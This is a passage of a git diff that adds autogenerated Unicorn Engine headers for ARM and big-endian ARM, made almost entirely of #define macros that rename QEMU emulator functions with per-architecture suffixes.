+#define roundAndPackFloat128 roundAndPackFloat128_arm +#define roundAndPackFloat16 roundAndPackFloat16_arm +#define roundAndPackFloat32 roundAndPackFloat32_arm +#define roundAndPackFloat64 roundAndPackFloat64_arm +#define roundAndPackFloatx80 roundAndPackFloatx80_arm +#define roundAndPackInt32 roundAndPackInt32_arm +#define roundAndPackInt64 roundAndPackInt64_arm +#define roundAndPackUint64 roundAndPackUint64_arm +#define round_to_inf round_to_inf_arm +#define run_on_cpu run_on_cpu_arm +#define s0 s0_arm +#define S0 S0_arm +#define s1 s1_arm +#define S1 S1_arm +#define sa1100_initfn sa1100_initfn_arm +#define sa1110_initfn sa1110_initfn_arm +#define save_globals save_globals_arm +#define scr_write scr_write_arm +#define sctlr_write sctlr_write_arm +#define set_bit set_bit_arm +#define set_bits set_bits_arm +#define set_default_nan_mode set_default_nan_mode_arm +#define set_feature set_feature_arm +#define set_float_detect_tininess set_float_detect_tininess_arm +#define set_float_exception_flags set_float_exception_flags_arm +#define set_float_rounding_mode set_float_rounding_mode_arm +#define set_flush_inputs_to_zero set_flush_inputs_to_zero_arm +#define set_flush_to_zero set_flush_to_zero_arm +#define set_swi_errno set_swi_errno_arm +#define sextract32 sextract32_arm +#define sextract64 sextract64_arm +#define shift128ExtraRightJamming shift128ExtraRightJamming_arm +#define shift128Right shift128Right_arm +#define shift128RightJamming shift128RightJamming_arm +#define shift32RightJamming shift32RightJamming_arm +#define shift64ExtraRightJamming shift64ExtraRightJamming_arm +#define shift64RightJamming shift64RightJamming_arm +#define shifter_out_im shifter_out_im_arm +#define shortShift128Left shortShift128Left_arm +#define shortShift192Left shortShift192Left_arm +#define simple_mpu_ap_bits simple_mpu_ap_bits_arm +#define size_code_gen_buffer size_code_gen_buffer_arm +#define softmmu_lock_user softmmu_lock_user_arm +#define softmmu_lock_user_string softmmu_lock_user_string_arm +#define softmmu_tget32 softmmu_tget32_arm +#define softmmu_tget8 softmmu_tget8_arm +#define softmmu_tput32 softmmu_tput32_arm +#define softmmu_unlock_user softmmu_unlock_user_arm +#define sort_constraints sort_constraints_arm +#define sp_el0_access sp_el0_access_arm +#define spsel_read spsel_read_arm +#define spsel_write spsel_write_arm +#define start_list start_list_arm +#define stb_p stb_p_arm +#define stb_phys stb_phys_arm +#define stl_be_p stl_be_p_arm +#define stl_be_phys stl_be_phys_arm +#define stl_he_p stl_he_p_arm +#define stl_le_p stl_le_p_arm +#define stl_le_phys stl_le_phys_arm +#define stl_phys stl_phys_arm +#define stl_phys_internal stl_phys_internal_arm +#define stl_phys_notdirty stl_phys_notdirty_arm +#define store_cpu_offset store_cpu_offset_arm +#define store_reg store_reg_arm +#define store_reg_bx store_reg_bx_arm +#define store_reg_from_load store_reg_from_load_arm +#define stq_be_p stq_be_p_arm +#define stq_be_phys stq_be_phys_arm +#define stq_he_p stq_he_p_arm +#define stq_le_p stq_le_p_arm +#define stq_le_phys stq_le_phys_arm +#define stq_phys stq_phys_arm +#define string_input_get_visitor string_input_get_visitor_arm +#define string_input_visitor_cleanup string_input_visitor_cleanup_arm +#define string_input_visitor_new string_input_visitor_new_arm +#define strongarm_cp_reginfo strongarm_cp_reginfo_arm +#define strstart strstart_arm +#define strtosz strtosz_arm +#define strtosz_suffix strtosz_suffix_arm +#define stw_be_p stw_be_p_arm +#define stw_be_phys stw_be_phys_arm +#define stw_he_p stw_he_p_arm +#define stw_le_p stw_le_p_arm +#define stw_le_phys stw_le_phys_arm +#define stw_phys stw_phys_arm +#define stw_phys_internal stw_phys_internal_arm +#define sub128 sub128_arm +#define sub16_sat sub16_sat_arm +#define sub16_usat sub16_usat_arm +#define sub192 sub192_arm +#define sub8_sat sub8_sat_arm +#define sub8_usat sub8_usat_arm +#define subFloat128Sigs subFloat128Sigs_arm +#define subFloat32Sigs subFloat32Sigs_arm +#define subFloat64Sigs subFloat64Sigs_arm +#define subFloatx80Sigs subFloatx80Sigs_arm +#define subpage_accepts subpage_accepts_arm +#define subpage_init subpage_init_arm +#define subpage_ops subpage_ops_arm +#define subpage_read subpage_read_arm +#define subpage_register subpage_register_arm +#define subpage_write subpage_write_arm +#define suffix_mul suffix_mul_arm +#define swap_commutative swap_commutative_arm +#define swap_commutative2 swap_commutative2_arm +#define switch_mode switch_mode_arm +#define switch_v7m_sp switch_v7m_sp_arm +#define syn_aa32_bkpt syn_aa32_bkpt_arm +#define syn_aa32_hvc syn_aa32_hvc_arm +#define syn_aa32_smc syn_aa32_smc_arm +#define syn_aa32_svc syn_aa32_svc_arm +#define syn_breakpoint syn_breakpoint_arm +#define sync_globals sync_globals_arm +#define syn_cp14_rrt_trap syn_cp14_rrt_trap_arm +#define syn_cp14_rt_trap syn_cp14_rt_trap_arm +#define syn_cp15_rrt_trap syn_cp15_rrt_trap_arm +#define syn_cp15_rt_trap syn_cp15_rt_trap_arm +#define syn_data_abort syn_data_abort_arm +#define syn_fp_access_trap syn_fp_access_trap_arm +#define syn_insn_abort syn_insn_abort_arm +#define syn_swstep syn_swstep_arm +#define syn_uncategorized syn_uncategorized_arm +#define syn_watchpoint syn_watchpoint_arm +#define syscall_err syscall_err_arm +#define system_bus_class_init system_bus_class_init_arm +#define system_bus_info system_bus_info_arm +#define t2ee_cp_reginfo t2ee_cp_reginfo_arm +#define table_logic_cc table_logic_cc_arm +#define target_parse_constraint target_parse_constraint_arm +#define target_words_bigendian target_words_bigendian_arm +#define tb_add_jump tb_add_jump_arm +#define tb_alloc tb_alloc_arm +#define tb_alloc_page tb_alloc_page_arm +#define tb_check_watchpoint tb_check_watchpoint_arm +#define tb_find_fast tb_find_fast_arm +#define tb_find_pc tb_find_pc_arm +#define tb_find_slow tb_find_slow_arm +#define tb_flush tb_flush_arm +#define tb_flush_jmp_cache tb_flush_jmp_cache_arm +#define tb_free tb_free_arm +#define tb_gen_code tb_gen_code_arm +#define tb_hash_remove tb_hash_remove_arm +#define tb_invalidate_phys_addr tb_invalidate_phys_addr_arm +#define tb_invalidate_phys_page_range tb_invalidate_phys_page_range_arm +#define tb_invalidate_phys_range tb_invalidate_phys_range_arm +#define tb_jmp_cache_hash_func tb_jmp_cache_hash_func_arm +#define tb_jmp_cache_hash_page tb_jmp_cache_hash_page_arm +#define tb_jmp_remove tb_jmp_remove_arm +#define tb_link_page tb_link_page_arm +#define tb_page_remove tb_page_remove_arm +#define tb_phys_hash_func tb_phys_hash_func_arm +#define tb_phys_invalidate tb_phys_invalidate_arm +#define tb_reset_jump tb_reset_jump_arm +#define tb_set_jmp_target tb_set_jmp_target_arm +#define tcg_accel_class_init tcg_accel_class_init_arm +#define tcg_accel_type tcg_accel_type_arm +#define tcg_add_param_i32 tcg_add_param_i32_arm +#define tcg_add_param_i64 tcg_add_param_i64_arm +#define tcg_add_target_add_op_defs tcg_add_target_add_op_defs_arm +#define tcg_allowed tcg_allowed_arm +#define tcg_canonicalize_memop tcg_canonicalize_memop_arm +#define tcg_commit tcg_commit_arm +#define tcg_cond_to_jcc tcg_cond_to_jcc_arm +#define tcg_constant_folding tcg_constant_folding_arm +#define tcg_const_i32 tcg_const_i32_arm +#define tcg_const_i64 tcg_const_i64_arm +#define tcg_const_local_i32 tcg_const_local_i32_arm +#define tcg_const_local_i64 tcg_const_local_i64_arm +#define tcg_context_init tcg_context_init_arm +#define tcg_cpu_address_space_init tcg_cpu_address_space_init_arm +#define tcg_cpu_exec tcg_cpu_exec_arm +#define tcg_current_code_size tcg_current_code_size_arm +#define tcg_dump_info tcg_dump_info_arm +#define tcg_dump_ops tcg_dump_ops_arm +#define tcg_exec_all tcg_exec_all_arm +#define tcg_find_helper tcg_find_helper_arm +#define tcg_func_start tcg_func_start_arm +#define tcg_gen_abs_i32 tcg_gen_abs_i32_arm +#define tcg_gen_add2_i32 tcg_gen_add2_i32_arm +#define tcg_gen_add_i32 tcg_gen_add_i32_arm +#define tcg_gen_add_i64 tcg_gen_add_i64_arm +#define tcg_gen_addi_i32 tcg_gen_addi_i32_arm +#define tcg_gen_addi_i64 tcg_gen_addi_i64_arm +#define tcg_gen_andc_i32 tcg_gen_andc_i32_arm +#define tcg_gen_and_i32 tcg_gen_and_i32_arm +#define tcg_gen_and_i64 tcg_gen_and_i64_arm +#define tcg_gen_andi_i32 tcg_gen_andi_i32_arm +#define tcg_gen_andi_i64 tcg_gen_andi_i64_arm +#define tcg_gen_br tcg_gen_br_arm +#define tcg_gen_brcond_i32 tcg_gen_brcond_i32_arm +#define tcg_gen_brcond_i64 tcg_gen_brcond_i64_arm +#define tcg_gen_brcondi_i32 tcg_gen_brcondi_i32_arm +#define tcg_gen_bswap16_i32 tcg_gen_bswap16_i32_arm +#define tcg_gen_bswap32_i32 tcg_gen_bswap32_i32_arm +#define tcg_gen_callN tcg_gen_callN_arm +#define tcg_gen_code tcg_gen_code_arm +#define tcg_gen_code_common tcg_gen_code_common_arm +#define tcg_gen_code_search_pc tcg_gen_code_search_pc_arm +#define tcg_gen_concat_i32_i64 tcg_gen_concat_i32_i64_arm +#define tcg_gen_debug_insn_start tcg_gen_debug_insn_start_arm +#define tcg_gen_deposit_i32 tcg_gen_deposit_i32_arm +#define tcg_gen_exit_tb tcg_gen_exit_tb_arm +#define tcg_gen_ext16s_i32 tcg_gen_ext16s_i32_arm +#define tcg_gen_ext16u_i32 tcg_gen_ext16u_i32_arm +#define tcg_gen_ext32s_i64 tcg_gen_ext32s_i64_arm +#define tcg_gen_ext32u_i64 tcg_gen_ext32u_i64_arm +#define tcg_gen_ext8s_i32 tcg_gen_ext8s_i32_arm +#define tcg_gen_ext8u_i32 tcg_gen_ext8u_i32_arm +#define tcg_gen_ext_i32_i64 tcg_gen_ext_i32_i64_arm +#define tcg_gen_extu_i32_i64 tcg_gen_extu_i32_i64_arm +#define tcg_gen_goto_tb tcg_gen_goto_tb_arm +#define tcg_gen_ld_i32 tcg_gen_ld_i32_arm +#define tcg_gen_ld_i64 tcg_gen_ld_i64_arm +#define tcg_gen_ldst_op_i32 tcg_gen_ldst_op_i32_arm +#define tcg_gen_ldst_op_i64 tcg_gen_ldst_op_i64_arm +#define tcg_gen_movcond_i32 tcg_gen_movcond_i32_arm +#define tcg_gen_movcond_i64 tcg_gen_movcond_i64_arm +#define tcg_gen_mov_i32 tcg_gen_mov_i32_arm +#define tcg_gen_mov_i64 tcg_gen_mov_i64_arm +#define tcg_gen_movi_i32 tcg_gen_movi_i32_arm +#define tcg_gen_movi_i64 tcg_gen_movi_i64_arm +#define tcg_gen_mul_i32 tcg_gen_mul_i32_arm +#define tcg_gen_muls2_i32 tcg_gen_muls2_i32_arm +#define tcg_gen_mulu2_i32 tcg_gen_mulu2_i32_arm +#define tcg_gen_neg_i32 tcg_gen_neg_i32_arm +#define tcg_gen_neg_i64 tcg_gen_neg_i64_arm +#define tcg_gen_not_i32 tcg_gen_not_i32_arm +#define tcg_gen_op0 tcg_gen_op0_arm +#define tcg_gen_op1i tcg_gen_op1i_arm +#define tcg_gen_op2_i32 tcg_gen_op2_i32_arm +#define tcg_gen_op2_i64 tcg_gen_op2_i64_arm +#define tcg_gen_op2i_i32 tcg_gen_op2i_i32_arm +#define tcg_gen_op2i_i64 tcg_gen_op2i_i64_arm +#define tcg_gen_op3_i32 tcg_gen_op3_i32_arm +#define tcg_gen_op3_i64 tcg_gen_op3_i64_arm +#define tcg_gen_op4_i32 tcg_gen_op4_i32_arm +#define tcg_gen_op4i_i32 tcg_gen_op4i_i32_arm +#define tcg_gen_op4ii_i32 tcg_gen_op4ii_i32_arm +#define tcg_gen_op4ii_i64 tcg_gen_op4ii_i64_arm +#define tcg_gen_op5ii_i32 tcg_gen_op5ii_i32_arm +#define tcg_gen_op6_i32 tcg_gen_op6_i32_arm +#define tcg_gen_op6i_i32 tcg_gen_op6i_i32_arm +#define tcg_gen_op6i_i64 tcg_gen_op6i_i64_arm +#define tcg_gen_orc_i32 tcg_gen_orc_i32_arm +#define tcg_gen_or_i32 tcg_gen_or_i32_arm +#define tcg_gen_or_i64 tcg_gen_or_i64_arm +#define tcg_gen_ori_i32 tcg_gen_ori_i32_arm +#define tcg_gen_qemu_ld_i32 tcg_gen_qemu_ld_i32_arm +#define tcg_gen_qemu_ld_i64 tcg_gen_qemu_ld_i64_arm +#define tcg_gen_qemu_st_i32 tcg_gen_qemu_st_i32_arm +#define tcg_gen_qemu_st_i64 tcg_gen_qemu_st_i64_arm +#define tcg_gen_rotl_i32 tcg_gen_rotl_i32_arm +#define tcg_gen_rotli_i32 tcg_gen_rotli_i32_arm +#define tcg_gen_rotr_i32 tcg_gen_rotr_i32_arm +#define tcg_gen_rotri_i32 tcg_gen_rotri_i32_arm +#define tcg_gen_sar_i32 tcg_gen_sar_i32_arm +#define tcg_gen_sari_i32 tcg_gen_sari_i32_arm +#define tcg_gen_setcond_i32 tcg_gen_setcond_i32_arm +#define tcg_gen_shl_i32 tcg_gen_shl_i32_arm +#define tcg_gen_shl_i64 tcg_gen_shl_i64_arm +#define tcg_gen_shli_i32 tcg_gen_shli_i32_arm +#define tcg_gen_shli_i64 tcg_gen_shli_i64_arm +#define tcg_gen_shr_i32 tcg_gen_shr_i32_arm +#define tcg_gen_shifti_i64 tcg_gen_shifti_i64_arm +#define tcg_gen_shr_i64 tcg_gen_shr_i64_arm +#define tcg_gen_shri_i32 tcg_gen_shri_i32_arm +#define tcg_gen_shri_i64 tcg_gen_shri_i64_arm +#define tcg_gen_st_i32 tcg_gen_st_i32_arm +#define tcg_gen_st_i64 tcg_gen_st_i64_arm +#define tcg_gen_sub_i32 tcg_gen_sub_i32_arm +#define tcg_gen_sub_i64 tcg_gen_sub_i64_arm +#define tcg_gen_subi_i32 tcg_gen_subi_i32_arm +#define tcg_gen_trunc_i64_i32 tcg_gen_trunc_i64_i32_arm +#define tcg_gen_trunc_shr_i64_i32 tcg_gen_trunc_shr_i64_i32_arm +#define tcg_gen_xor_i32 tcg_gen_xor_i32_arm +#define tcg_gen_xor_i64 tcg_gen_xor_i64_arm +#define tcg_gen_xori_i32 tcg_gen_xori_i32_arm +#define tcg_get_arg_str_i32 tcg_get_arg_str_i32_arm +#define tcg_get_arg_str_i64 tcg_get_arg_str_i64_arm +#define tcg_get_arg_str_idx tcg_get_arg_str_idx_arm +#define tcg_global_mem_new_i32 tcg_global_mem_new_i32_arm +#define tcg_global_mem_new_i64 tcg_global_mem_new_i64_arm +#define tcg_global_mem_new_internal tcg_global_mem_new_internal_arm +#define tcg_global_reg_new_i32 tcg_global_reg_new_i32_arm +#define tcg_global_reg_new_i64 tcg_global_reg_new_i64_arm +#define tcg_global_reg_new_internal tcg_global_reg_new_internal_arm +#define tcg_handle_interrupt tcg_handle_interrupt_arm +#define tcg_init tcg_init_arm +#define tcg_invert_cond tcg_invert_cond_arm +#define tcg_la_bb_end tcg_la_bb_end_arm +#define tcg_la_br_end tcg_la_br_end_arm +#define tcg_la_func_end tcg_la_func_end_arm +#define tcg_liveness_analysis tcg_liveness_analysis_arm +#define tcg_malloc tcg_malloc_arm +#define tcg_malloc_internal tcg_malloc_internal_arm +#define tcg_op_defs_org tcg_op_defs_org_arm +#define tcg_opt_gen_mov tcg_opt_gen_mov_arm +#define tcg_opt_gen_movi tcg_opt_gen_movi_arm +#define tcg_optimize tcg_optimize_arm +#define tcg_out16 tcg_out16_arm +#define tcg_out32 tcg_out32_arm +#define tcg_out64 tcg_out64_arm +#define tcg_out8 tcg_out8_arm +#define tcg_out_addi tcg_out_addi_arm +#define tcg_out_branch tcg_out_branch_arm +#define tcg_out_brcond32 tcg_out_brcond32_arm +#define tcg_out_brcond64 tcg_out_brcond64_arm +#define tcg_out_bswap32 tcg_out_bswap32_arm +#define tcg_out_bswap64 tcg_out_bswap64_arm +#define tcg_out_call tcg_out_call_arm +#define tcg_out_cmp tcg_out_cmp_arm +#define tcg_out_ext16s tcg_out_ext16s_arm +#define tcg_out_ext16u tcg_out_ext16u_arm +#define tcg_out_ext32s tcg_out_ext32s_arm +#define tcg_out_ext32u tcg_out_ext32u_arm +#define tcg_out_ext8s tcg_out_ext8s_arm +#define tcg_out_ext8u tcg_out_ext8u_arm +#define tcg_out_jmp tcg_out_jmp_arm +#define tcg_out_jxx tcg_out_jxx_arm +#define tcg_out_label tcg_out_label_arm +#define tcg_out_ld tcg_out_ld_arm +#define tcg_out_modrm tcg_out_modrm_arm +#define tcg_out_modrm_offset tcg_out_modrm_offset_arm +#define tcg_out_modrm_sib_offset tcg_out_modrm_sib_offset_arm +#define tcg_out_mov tcg_out_mov_arm +#define tcg_out_movcond32 tcg_out_movcond32_arm +#define tcg_out_movcond64 tcg_out_movcond64_arm +#define tcg_out_movi tcg_out_movi_arm +#define tcg_out_op tcg_out_op_arm +#define tcg_out_pop tcg_out_pop_arm +#define tcg_out_push tcg_out_push_arm +#define tcg_out_qemu_ld tcg_out_qemu_ld_arm +#define tcg_out_qemu_ld_direct tcg_out_qemu_ld_direct_arm +#define tcg_out_qemu_ld_slow_path tcg_out_qemu_ld_slow_path_arm +#define tcg_out_qemu_st tcg_out_qemu_st_arm +#define tcg_out_qemu_st_direct tcg_out_qemu_st_direct_arm +#define tcg_out_qemu_st_slow_path tcg_out_qemu_st_slow_path_arm +#define tcg_out_reloc tcg_out_reloc_arm +#define tcg_out_rolw_8 tcg_out_rolw_8_arm +#define tcg_out_setcond32 tcg_out_setcond32_arm +#define tcg_out_setcond64 tcg_out_setcond64_arm +#define tcg_out_shifti tcg_out_shifti_arm +#define tcg_out_st tcg_out_st_arm +#define tcg_out_tb_finalize tcg_out_tb_finalize_arm +#define tcg_out_tb_init tcg_out_tb_init_arm +#define tcg_out_tlb_load tcg_out_tlb_load_arm +#define tcg_out_vex_modrm tcg_out_vex_modrm_arm +#define tcg_patch32 tcg_patch32_arm +#define tcg_patch8 tcg_patch8_arm +#define tcg_pcrel_diff tcg_pcrel_diff_arm +#define tcg_pool_reset tcg_pool_reset_arm +#define tcg_prologue_init tcg_prologue_init_arm +#define tcg_ptr_byte_diff tcg_ptr_byte_diff_arm +#define tcg_reg_alloc tcg_reg_alloc_arm +#define tcg_reg_alloc_bb_end tcg_reg_alloc_bb_end_arm +#define tcg_reg_alloc_call tcg_reg_alloc_call_arm +#define tcg_reg_alloc_mov tcg_reg_alloc_mov_arm +#define tcg_reg_alloc_movi tcg_reg_alloc_movi_arm +#define tcg_reg_alloc_op tcg_reg_alloc_op_arm +#define tcg_reg_alloc_start tcg_reg_alloc_start_arm +#define tcg_reg_free tcg_reg_free_arm +#define tcg_reg_sync tcg_reg_sync_arm +#define tcg_set_frame tcg_set_frame_arm +#define tcg_set_nop tcg_set_nop_arm +#define tcg_swap_cond tcg_swap_cond_arm +#define tcg_target_callee_save_regs tcg_target_callee_save_regs_arm +#define tcg_target_call_iarg_regs tcg_target_call_iarg_regs_arm +#define tcg_target_call_oarg_regs tcg_target_call_oarg_regs_arm +#define tcg_target_const_match tcg_target_const_match_arm +#define tcg_target_init tcg_target_init_arm +#define tcg_target_qemu_prologue tcg_target_qemu_prologue_arm +#define tcg_target_reg_alloc_order tcg_target_reg_alloc_order_arm +#define tcg_temp_alloc tcg_temp_alloc_arm +#define tcg_temp_free_i32 tcg_temp_free_i32_arm +#define tcg_temp_free_i64 tcg_temp_free_i64_arm +#define tcg_temp_free_internal tcg_temp_free_internal_arm +#define tcg_temp_local_new_i32 tcg_temp_local_new_i32_arm +#define tcg_temp_local_new_i64 tcg_temp_local_new_i64_arm +#define tcg_temp_new_i32 tcg_temp_new_i32_arm +#define tcg_temp_new_i64 tcg_temp_new_i64_arm +#define tcg_temp_new_internal tcg_temp_new_internal_arm +#define tcg_temp_new_internal_i32 tcg_temp_new_internal_i32_arm +#define tcg_temp_new_internal_i64 tcg_temp_new_internal_i64_arm +#define tdb_hash tdb_hash_arm +#define teecr_write teecr_write_arm +#define teehbr_access teehbr_access_arm +#define temp_allocate_frame temp_allocate_frame_arm +#define temp_dead temp_dead_arm +#define temps_are_copies temps_are_copies_arm +#define temp_save temp_save_arm +#define temp_sync temp_sync_arm +#define tgen_arithi tgen_arithi_arm +#define tgen_arithr tgen_arithr_arm +#define thumb2_logic_op thumb2_logic_op_arm +#define ti925t_initfn ti925t_initfn_arm +#define tlb_add_large_page tlb_add_large_page_arm +#define tlb_flush_entry tlb_flush_entry_arm +#define tlbi_aa64_asid_is_write tlbi_aa64_asid_is_write_arm +#define tlbi_aa64_asid_write tlbi_aa64_asid_write_arm +#define tlbi_aa64_vaa_is_write tlbi_aa64_vaa_is_write_arm +#define tlbi_aa64_vaa_write tlbi_aa64_vaa_write_arm +#define tlbi_aa64_va_is_write tlbi_aa64_va_is_write_arm +#define tlbi_aa64_va_write tlbi_aa64_va_write_arm +#define tlbiall_is_write tlbiall_is_write_arm +#define tlbiall_write tlbiall_write_arm +#define tlbiasid_is_write tlbiasid_is_write_arm +#define tlbiasid_write tlbiasid_write_arm +#define tlbimvaa_is_write tlbimvaa_is_write_arm +#define tlbimvaa_write tlbimvaa_write_arm +#define tlbimva_is_write tlbimva_is_write_arm +#define tlbimva_write tlbimva_write_arm +#define tlb_is_dirty_ram tlb_is_dirty_ram_arm +#define tlb_protect_code tlb_protect_code_arm +#define tlb_reset_dirty_range tlb_reset_dirty_range_arm +#define tlb_reset_dirty_range_all tlb_reset_dirty_range_all_arm +#define tlb_set_dirty tlb_set_dirty_arm +#define tlb_set_dirty1 tlb_set_dirty1_arm +#define tlb_unprotect_code_phys tlb_unprotect_code_phys_arm +#define tlb_vaddr_to_host tlb_vaddr_to_host_arm +#define token_get_type token_get_type_arm +#define token_get_value token_get_value_arm +#define token_is_escape token_is_escape_arm +#define token_is_keyword token_is_keyword_arm +#define token_is_operator token_is_operator_arm +#define tokens_append_from_iter tokens_append_from_iter_arm +#define to_qiv to_qiv_arm +#define to_qov to_qov_arm +#define tosa_init tosa_init_arm +#define tosa_machine_init tosa_machine_init_arm +#define tswap32 tswap32_arm +#define tswap64 tswap64_arm +#define type_class_get_size type_class_get_size_arm +#define type_get_by_name type_get_by_name_arm +#define type_get_parent type_get_parent_arm +#define type_has_parent type_has_parent_arm +#define type_initialize type_initialize_arm +#define type_initialize_interface type_initialize_interface_arm +#define type_is_ancestor type_is_ancestor_arm +#define type_new type_new_arm +#define type_object_get_size type_object_get_size_arm +#define type_register_internal type_register_internal_arm +#define type_table_add type_table_add_arm +#define type_table_get type_table_get_arm +#define type_table_lookup type_table_lookup_arm +#define uint16_to_float32 uint16_to_float32_arm +#define uint16_to_float64 uint16_to_float64_arm +#define uint32_to_float32 uint32_to_float32_arm +#define uint32_to_float64 uint32_to_float64_arm +#define uint64_to_float128 uint64_to_float128_arm +#define uint64_to_float32 uint64_to_float32_arm +#define uint64_to_float64 uint64_to_float64_arm +#define unassigned_io_ops unassigned_io_ops_arm +#define unassigned_io_read unassigned_io_read_arm +#define unassigned_io_write unassigned_io_write_arm +#define unassigned_mem_accepts unassigned_mem_accepts_arm +#define unassigned_mem_ops unassigned_mem_ops_arm +#define unassigned_mem_read unassigned_mem_read_arm +#define unassigned_mem_write unassigned_mem_write_arm +#define update_spsel update_spsel_arm +#define v6_cp_reginfo v6_cp_reginfo_arm +#define v6k_cp_reginfo v6k_cp_reginfo_arm +#define v7_cp_reginfo v7_cp_reginfo_arm +#define v7mp_cp_reginfo v7mp_cp_reginfo_arm +#define v7m_pop v7m_pop_arm +#define v7m_push v7m_push_arm +#define v8_cp_reginfo v8_cp_reginfo_arm +#define v8_el2_cp_reginfo v8_el2_cp_reginfo_arm +#define v8_el3_cp_reginfo v8_el3_cp_reginfo_arm +#define v8_el3_no_el2_cp_reginfo v8_el3_no_el2_cp_reginfo_arm +#define vapa_cp_reginfo vapa_cp_reginfo_arm +#define vbar_write vbar_write_arm +#define vfp_exceptbits_from_host vfp_exceptbits_from_host_arm +#define vfp_exceptbits_to_host vfp_exceptbits_to_host_arm +#define vfp_get_fpcr vfp_get_fpcr_arm +#define vfp_get_fpscr vfp_get_fpscr_arm +#define vfp_get_fpsr vfp_get_fpsr_arm +#define vfp_reg_offset vfp_reg_offset_arm +#define vfp_set_fpcr vfp_set_fpcr_arm +#define vfp_set_fpscr vfp_set_fpscr_arm +#define vfp_set_fpsr vfp_set_fpsr_arm +#define visit_end_implicit_struct visit_end_implicit_struct_arm +#define visit_end_list visit_end_list_arm +#define visit_end_struct visit_end_struct_arm +#define visit_end_union visit_end_union_arm +#define visit_get_next_type visit_get_next_type_arm +#define visit_next_list visit_next_list_arm +#define visit_optional visit_optional_arm +#define visit_start_implicit_struct visit_start_implicit_struct_arm +#define visit_start_list visit_start_list_arm +#define visit_start_struct visit_start_struct_arm +#define visit_start_union visit_start_union_arm +#define vmsa_cp_reginfo vmsa_cp_reginfo_arm +#define vmsa_tcr_el1_write vmsa_tcr_el1_write_arm +#define vmsa_ttbcr_raw_write vmsa_ttbcr_raw_write_arm +#define vmsa_ttbcr_reset vmsa_ttbcr_reset_arm +#define vmsa_ttbcr_write vmsa_ttbcr_write_arm +#define vmsa_ttbr_write vmsa_ttbr_write_arm +#define write_cpustate_to_list write_cpustate_to_list_arm +#define write_list_to_cpustate write_list_to_cpustate_arm +#define write_raw_cp_reg write_raw_cp_reg_arm +#define X86CPURegister32_lookup X86CPURegister32_lookup_arm +#define x86_op_defs x86_op_defs_arm +#define xpsr_read xpsr_read_arm +#define xpsr_write xpsr_write_arm +#define xscale_cpar_write xscale_cpar_write_arm +#define xscale_cp_reginfo xscale_cp_reginfo_arm +#define ARM_REGS_STORAGE_SIZE ARM_REGS_STORAGE_SIZE_arm +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/armeb.h b/ai_anti_malware/unicorn/unicorn-master/qemu/armeb.h new file mode 100644 index 0000000..30b771b --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/armeb.h @@ -0,0 +1,3021 @@ +/* Autogen header for Unicorn Engine - DONOT MODIFY */ +#ifndef UNICORN_AUTOGEN_ARMEB_H +#define UNICORN_AUTOGEN_ARMEB_H +#define arm_release arm_release_armeb +#define aarch64_tb_set_jmp_target aarch64_tb_set_jmp_target_armeb +#define ppc_tb_set_jmp_target ppc_tb_set_jmp_target_armeb +#define use_idiv_instructions_rt use_idiv_instructions_rt_armeb +#define tcg_target_deposit_valid tcg_target_deposit_valid_armeb +#define helper_power_down helper_power_down_armeb +#define check_exit_request check_exit_request_armeb +#define address_space_unregister address_space_unregister_armeb +#define tb_invalidate_phys_page_fast tb_invalidate_phys_page_fast_armeb +#define phys_mem_clean phys_mem_clean_armeb +#define tb_cleanup tb_cleanup_armeb +#define memory_map memory_map_armeb +#define memory_map_ptr memory_map_ptr_armeb +#define memory_unmap memory_unmap_armeb +#define memory_free memory_free_armeb +#define free_code_gen_buffer free_code_gen_buffer_armeb +#define helper_raise_exception helper_raise_exception_armeb +#define tcg_enabled tcg_enabled_armeb +#define tcg_exec_init tcg_exec_init_armeb +#define memory_register_types memory_register_types_armeb +#define cpu_exec_init_all cpu_exec_init_all_armeb +#define vm_start vm_start_armeb +#define resume_all_vcpus resume_all_vcpus_armeb +#define a15_l2ctlr_read a15_l2ctlr_read_armeb +#define a64_translate_init a64_translate_init_armeb +#define aa32_generate_debug_exceptions aa32_generate_debug_exceptions_armeb +#define aa64_cacheop_access aa64_cacheop_access_armeb +#define aa64_daif_access aa64_daif_access_armeb +#define aa64_daif_write aa64_daif_write_armeb +#define aa64_dczid_read aa64_dczid_read_armeb +#define aa64_fpcr_read aa64_fpcr_read_armeb +#define aa64_fpcr_write aa64_fpcr_write_armeb +#define aa64_fpsr_read aa64_fpsr_read_armeb +#define aa64_fpsr_write aa64_fpsr_write_armeb +#define aa64_generate_debug_exceptions aa64_generate_debug_exceptions_armeb +#define aa64_zva_access aa64_zva_access_armeb +#define aarch64_banked_spsr_index aarch64_banked_spsr_index_armeb +#define aarch64_restore_sp aarch64_restore_sp_armeb +#define aarch64_save_sp aarch64_save_sp_armeb +#define accel_find accel_find_armeb +#define accel_init_machine accel_init_machine_armeb +#define accel_type accel_type_armeb +#define access_with_adjusted_size access_with_adjusted_size_armeb +#define add128 add128_armeb +#define add16_sat add16_sat_armeb +#define add16_usat add16_usat_armeb +#define add192 add192_armeb +#define add8_sat add8_sat_armeb +#define add8_usat add8_usat_armeb +#define add_cpreg_to_hashtable add_cpreg_to_hashtable_armeb +#define add_cpreg_to_list add_cpreg_to_list_armeb +#define addFloat128Sigs addFloat128Sigs_armeb +#define addFloat32Sigs addFloat32Sigs_armeb +#define addFloat64Sigs addFloat64Sigs_armeb +#define addFloatx80Sigs addFloatx80Sigs_armeb +#define add_qemu_ldst_label add_qemu_ldst_label_armeb +#define address_space_access_valid address_space_access_valid_armeb +#define address_space_destroy address_space_destroy_armeb +#define address_space_destroy_dispatch address_space_destroy_dispatch_armeb +#define address_space_get_flatview address_space_get_flatview_armeb +#define address_space_init address_space_init_armeb +#define address_space_init_dispatch address_space_init_dispatch_armeb +#define address_space_lookup_region address_space_lookup_region_armeb +#define address_space_map address_space_map_armeb +#define address_space_read address_space_read_armeb +#define address_space_rw address_space_rw_armeb +#define address_space_translate address_space_translate_armeb +#define address_space_translate_for_iotlb address_space_translate_for_iotlb_armeb +#define address_space_translate_internal address_space_translate_internal_armeb +#define address_space_unmap address_space_unmap_armeb +#define address_space_update_topology address_space_update_topology_armeb +#define address_space_update_topology_pass address_space_update_topology_pass_armeb +#define address_space_write address_space_write_armeb +#define addrrange_contains addrrange_contains_armeb +#define addrrange_end addrrange_end_armeb +#define addrrange_equal addrrange_equal_armeb +#define addrrange_intersection addrrange_intersection_armeb +#define addrrange_intersects addrrange_intersects_armeb +#define addrrange_make addrrange_make_armeb +#define adjust_endianness adjust_endianness_armeb +#define all_helpers 